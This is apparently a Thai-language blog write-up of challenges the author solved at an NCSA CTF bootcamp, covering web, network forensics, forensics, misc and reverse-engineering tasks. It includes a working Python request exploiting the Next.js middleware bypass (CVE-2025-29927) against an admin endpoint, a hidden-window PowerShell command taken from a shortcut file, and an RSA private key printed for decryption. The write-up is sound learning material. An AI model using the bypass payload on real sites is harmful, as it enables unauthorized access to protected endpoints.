461 words
2 minutes
CTF Bootcamp [ NCSA ] ทุกโจทย์ที่ทำได้

CTF Bootcamp [ NCSA ] ทุกโจทย์ที่ทำได้#

by ShoIsMyName • Jul 2025

งานที่ผมไปเป็นรุ่นที่ 4 ของปี 2025 เดาว่าโจทย์ของผมน่าจะแตกต่างจากรุ่นก่อนๆ โจทย์ที่อยู่ใน writeup นี้จะมีทั้งของที่อมรมและแข่งนะครับ

โอเคร เรามาเริ่มกันเลยดีกว่า !!

BigNote: โจทย์ที่ผมเอามาทั้งหมดนี้เป็นโจทย์ที่ผมทำได้ ส่วนอันที่ทำไม่ได้…. ผมก็ไม่เอามา 55555555 ( อาจเอามาไม่ทั้งหมดนะครับ บางไฟล์หายแล้ว)

Web application#

1. Web 1 (300)

captionless image

Hint ของโจทย์: เว็บใช้ Next.js และมีช่องโหว่ CVE-2025–29927

ครั้งแรกที่เห็นโจทย์ก็มึนตึ้บ เพราะไม่รุ้มันทำงานยังไง ผมเลยเข้าไปดู payload ที่เว็บ picussecurity เผื่อจะได้เข้าใจช่องโหว่ไวๆ

เลยสรุปได้ว่าาาา : เราต้องยิง request โดยมี x-middleware-subrequest อยู่บนHeader ( method GET ) มันจะทำให้ตัวเว็บเชื่อเราและ bypass ได้

โดยเราจะส่ง request ไปที่ /api/admin ( ตามที่ใบ้ในรูป )

And this is my codeeee

import requests
url = "https://outdated.sdhbank.p7z.pw/api/admin"
headers = {
"X-Middleware-Subrequest": "X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36",
"Cookie": "cf_clearance=.CgWdsWz7EB_K7l7tYRBZDzZkDoHks2kFtWHjGHuV3Y-1752990655-1.2.1.1-3illUuCoEmiEE8dtyP6NEqXPK1DRxpT5Xa1mBhTfQslE6TURkyjVtTaQXwaNWnh8jwETzFLWTYyvh84K1s1ZJZgq05jO3ClVCL057hovhgIiMcQo7E17asPC2GwF_keBmfIYo4V3Ed73oeaf11Q7fCBcuv2cqub6u80iGrYdmpQ5fJOaffDR3E.HPuWnEBPQ0y7WJDZerB5IbjjaDe_YXr0jophleWrTH4BrTVRI.6s",
"Accept": "*/*"
}
r = requests.get(url, headers=headers, verify=False)
print(f"[+] Status Code: {r.status_code}")
print("[+] Response:")
print(r.text)

🚩 Flag:

captionless image

ความจิงก็ทำผ่าน Burp-suite ก็ได้นะ แต่อยากเท่… 55555

Forensic ( network )#

  1. 🕵️ Incident 07-PhantomLink (300)

ไฟล์ที่เราได้มาจะมีไฟล์ _MACOSX และ .pca

captionless image

ผมเห็นว่า log request ใน wireshark น้อยดี ผมเลย check tcp.stream eq ทีละตัว

โดยจุดที่ผมเจอ จะอยู่ที่ tcp stream eq ที่ 2 และ 4

captionless image

ถ้าสังเกตจาก ASCII table ข้างๆ hex จะเห็นข้อความว่า “ Thank you for registering for the Moo Deng Fan Meet! ” ถือว่าเป็นสัญญาณดี ผมเลยกดเข้าไปดู tcp stream ( ctrl + alt + shift + t )

captionless image

จะเห็นได้เลยว่าจะมี encode word ที่พอจะเดารางๆได้ว่าเป็น base64

captionless image

เย้ 🎉เราได้มาแล้วครึ่ง flag ……

จุดต่อไปก็อยู่ใม่ไกลมาก นั่นก็คือ tcp stream eq 4 หน้าตาจะประมาณนี้

captionless image

ดูที่ตาราง ASCII table เหมือนเดิม เราจะเห็นคำว่า secret_half2.txt ตามสูตรเดิม

captionless image

เย้ 🎉ได้ flag ครบเป็นที่เรียบร้อย

captionless image

🚩 Flag:

captionless image

  1. 🕵️ Operation ShadowStream (400)

ไฟล์ที่เราได้มาจะเป็น .pcapng ธรรมดาๆอันนึง และไฟล์ private_key

captionless image

อันดับแรกเราไปเช็ค .pcapng ใน wireshark กันดีกว่า

captionless image

ไอ้เราเห็นก็ตกใจ ทำไม request น้อยจัง งั้นก็เข้าทางเราเลย~~ ผมเลยเข้าไปดู TCP Stream ก็เห็นเป็นประวัติการเข้าใช้งาน terminal ใน linux แต่ดูเหมือนว่า result ของ command จะถูก Encrypt ด้วย public_key

captionless image

แต่ไม่เป็นไรร เพราะเรามี private_key 😏😏😏😏

ไม่รอช้า decrypt สิครับคุณผู้โชม

from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import PKCS1_OAEP
from Cryptodome.Hash import SHA256
import base64
private_key_pem = """-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDOATz3KvtmyNEr
JoG37gxt78taWaQI8F7hQ3jq4qCe3Lxur0/DACTdLHexcMJha5V0m42HY1i2ZqMo
sOCqNtbr5vG/ygY2+/neNb3h0Igtwkyd7FiVyEAzz4jmk4oLXimo+HwJ4Bn58RXD
4wGA8kTuNn7c8oxcUjyJRlipVLqNr997SyanEy1CgQNtCgshz/cvPeCwkmmLd/HY
VYH53KJkoaVz4atFuj+byt1cuEL4SXZ4W8WAck2dXvYSzurP0xnDm62VQIG6mkxl
i+PNinUZBz/lNWIJikkAayL1hoHjCy7EtC3CGyKQG2QKGBAKVblg9qF4p+K8Q1fs
M40jtxftAgMBAAECggEAAy0CYJkZXmtIIOSAvsd9CjuBJLfEZJ2NXjxTt+NIhfUc
iTmgqX6YvY7QRZGvHXYIIXpobdGP7jfvhKgSvpexK9qCmD9SuzRFP4dlPFRM/8+Y
A3M/plzQ8zuG08SAg05Z/BCLRlJdyXxNpphwTymXpch8n4a0YpP4pPEgWslDRaiN
BPlSAHKVNvHyckpR2Bg0TlwpKt+ZOEKaZyT5atTXc9vgvY8TZAZ92Ckz2oZQS+S7
bQq24EcqHjoLaemGEy9NywAZ+qUL8vU8Zd6wkNO79I7qnqTcE7pwGpqLk/svvbFE
hpq6UMiX0LPCdYI/h33AHc4dDtcXwLjb+kUVyyxSoQKBgQDy03FCBYs4F9rGF66S
gUs2K6SFwK6s1dbEOrku+1kfjD4iEjR6Psl8hOVCDF+74V0DBvcaEGVHnrAuMyDM
MIbgSkcs6exsC0suOxamY6hXD+dp1lmOHukFShPLJH4t3W3QMsg5sVtJVaODeoqx
KKfT3uA/La6S+oWPfDngal9GyQKBgQDZLmUsvBKPASNlOR9NG/zW/+7y9RnaTnay
B4NZtz9yygf5maLQzQfEsqFb3l25oQJqCmZ20hlsWK0uwfdEBxaZAZd8LDVxqUP2
nIrAXY98TdLDVa8iZnzR7u8oN1+7GDGge050ZoADd+T1m56s55roaHAIBChf74hl
P3qhQaIGBQKBgEEbeG6fVejAXKRojSIzEJuBsCc8tpkY7PDIXga+1fKjg7VW9EMi
uptsdpvy/Wg+0NWS9IZEhyNg5RQ+GTkmecOBpvvf7Mg7bvkCVtxeNDDDzuSN2I1G
tGv6pLv/GOXrTRpZw13UtAlBsQn7vVwq7nTceXv3H6vBCDaktE/7tXghAoGADI2N
84P7XqCmNxeSI5bWimbInOpl0CRw3+FnSiw5Up0y0M58hq0TId9hTDoSGMShqxdm
zL9gEM8fU3CKpjfyqm1ZICg9/o/WCc8KhgviW0D0Sa4OLWLXHBs/X4ez1NCVLb1y
z2+NPqYTac7Q4RWR8pT2xL/YxZLGw3Nj1yZAAzECgYAb2FPm1fRVJFMT9mxOIbkH
Zk9wpL+wFC8/DLOm44X9Ggu1fQh9FA2wEd6nqDTYYVw1yzYIh8wKAa6/KMmTQEmg
m6p1m4rvsXaCi7XJ7i3Kz8C/IuEQLFix9h6kkXDwkJfxpVIpwHzULMKJyqDdMBo0
vD+kIlL8I+MaMfnnDXsPAw==
-----END PRIVATE KEY-----"""
base64_blocks = [ "m3/oQS/FYXuPgKEsoCXO2NCBxkEAtMycpnl+2vY0VMaOgAGuyciaQNzYAJtSF/JpRILcmDOHJ6TRyFVw3OoEGWcSKydSbneDVgQXIEptRh0z4kvW/5ixC9o1T0Q0Yn2oH/g3mxVIng1NVzMJzENlOO1vUPtn8ktdxvW939Ovt0h4Z8HkxAwDBAsvFWA6AIALhXhb9Ih3UWx/xQoQfrf468sQldMUS29QyOHCPhpAi1CPIikiXx2Teid7AFagvFcJ2OzTax8pg3VzPv/kLnzkMxclLJA8e7/O3Mj1S+08MzU9HaDJi4Emxu+L8LoYfQHVqxkkFi3pI7v2bq/7kBWQLA=="
]
private_key = serialization.load_pem_private_key(
private_key_pem.encode(),
password=None,
backend=default_backend()
)
pkcs1_der = private_key.private_bytes(
encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption()
)
rsa_key = RSA.import_key(pkcs1_der)
cipher = PKCS1_OAEP.new(rsa_key, hashAlgo=SHA256)
for b64 in base64_blocks:
decrypted = cipher.decrypt(base64.b64decode(b64))
print(decrypted.decode(errors="ignore"))

🚩Flag:

captionless image

Forensic#

🧨 Operation: LNK Injection (400)

เป็นข้อที่ผมงมค่อนข้างนาน นานที่ว่าพึ่งรู้วิธีทำหลังงานจบ

[other]ตรูอยากวิ่งหนีออกจากงานมาก เพราะข้อนี้มันง่ายมาก[/other]

โดยสิ่งที่ได้มาจะมีไฟล์ _MACOSX และไฟล์ Shortcut

captionless image

เราสามารถทำได้หลายวิธีมาก จะ cat ผ่าน command หรือจะดู file properties ก็ได้ เดี๋ยวจะแสดงวิธีทำทั้ง 2 แบบให้ดู

cat

captionless image

file properties

captionless image

โดย string ที่เราจะโฟกัสจะประมาณนี้

C:\Windows\System32\notepad.exe -WindowStyle Hidden -Command 'Write-Host ZgBsAGEAZwB7AG8AcABlAG4AXwBmAG8AcgAyAF8AYgA2ADYANQBiADMAMwA3AGUANQA4ADQAMwAyADkAYQAzADMAZgA5ADUAYgAxAGEAYQAwADUAZABmADEAYgBiAH0A'

จะเห็นว่าจะมี Base64 อยู่หลังคำว่า Write-Host

ZgBsAGEAZwB7AG8AcABlAG4AXwBmAG8AcgAyAF8AYgA2ADYANQBiADMAMwA3AGUANQA4ADQAMwAyADkAYQAzADMAZgA5ADUAYgAxAGEAYQAwADUAZABmADEAYgBiAH0A
```![captionless image](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*uB9ODWTrHeb7_sA4tfTCQQ.png)
🚩 จะเห็นว่า flag จะถูก Interrupted ด้วยค่า NULL เหลือแค่เอาค่า NULL ออก
ยอมรับตามตรงว่าผมเอามา decode ตั้งแต่ base32–85 แต่ไม่ได้สังเกตจริงๆ.. สงสัยรีบ 5555555
MISC
----
> 1. Misc 2 (400)
![captionless image](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*Ue_4SRVkIDNAJM-asTx9lQ.png)
ไม่รอช้า ไม่ยากเกินใจ (~﹃~)~zZ
🚩 Flag:
![captionless image](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*ta5tkHUlWJaxwRcfsyvhEw.png)
Reverse Engineering
-------------------
> 1. Reverse — ELF x86 — Basic
สิ่งที่เขาให้มาจะมีแค่ executable file
![captionless image](https://miro.medium.com/v2/resize:fit:624/format:webp/1*CKMD7w2-0G12YzIVbOpy5Q.png)
เราลองมาดูการทำงานคร่าวๆของมันกันก่อนดีกว่า ซึ่งเหมือนว่าเราต้อง login มันเข้าไปเพื่อเอา flag
![captionless image](https://miro.medium.com/v2/resize:fit:534/format:webp/1*duqx2eSxomNhwPt0HLNKGg.png)
เริ่มจากเปิด ghidra ขึ้นมา แล้วไปดูที่ function เผื่อมีอะไรที่น่าสนใจ
![captionless image](https://miro.medium.com/v2/resize:fit:722/format:webp/1*KMZNcxsY2q35iVZaIQpL3A.png)
จุดที่ผมสนใจจริงๆเลยก็คือ main() กับ show_flag()
> main() function
![captionless image](https://miro.medium.com/v2/resize:fit:1368/format:webp/1*f-dZl8W_BtDgWeGWDeqhgg.png)
> show_flag() function
![captionless image](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*3X2enyNrbXfIGWAA5W8o1w.png)
จากที่ดูที่ main() จะปรากฏ username กับ password นั่นก็คือ mr.bean & inwza007 !!
🚩 Flag:
![captionless image](https://miro.medium.com/v2/resize:fit:1126/format:webp/1*-pSrP3d6nw0YAbutP_PJFw.png)
Thank for coming !!
-------------------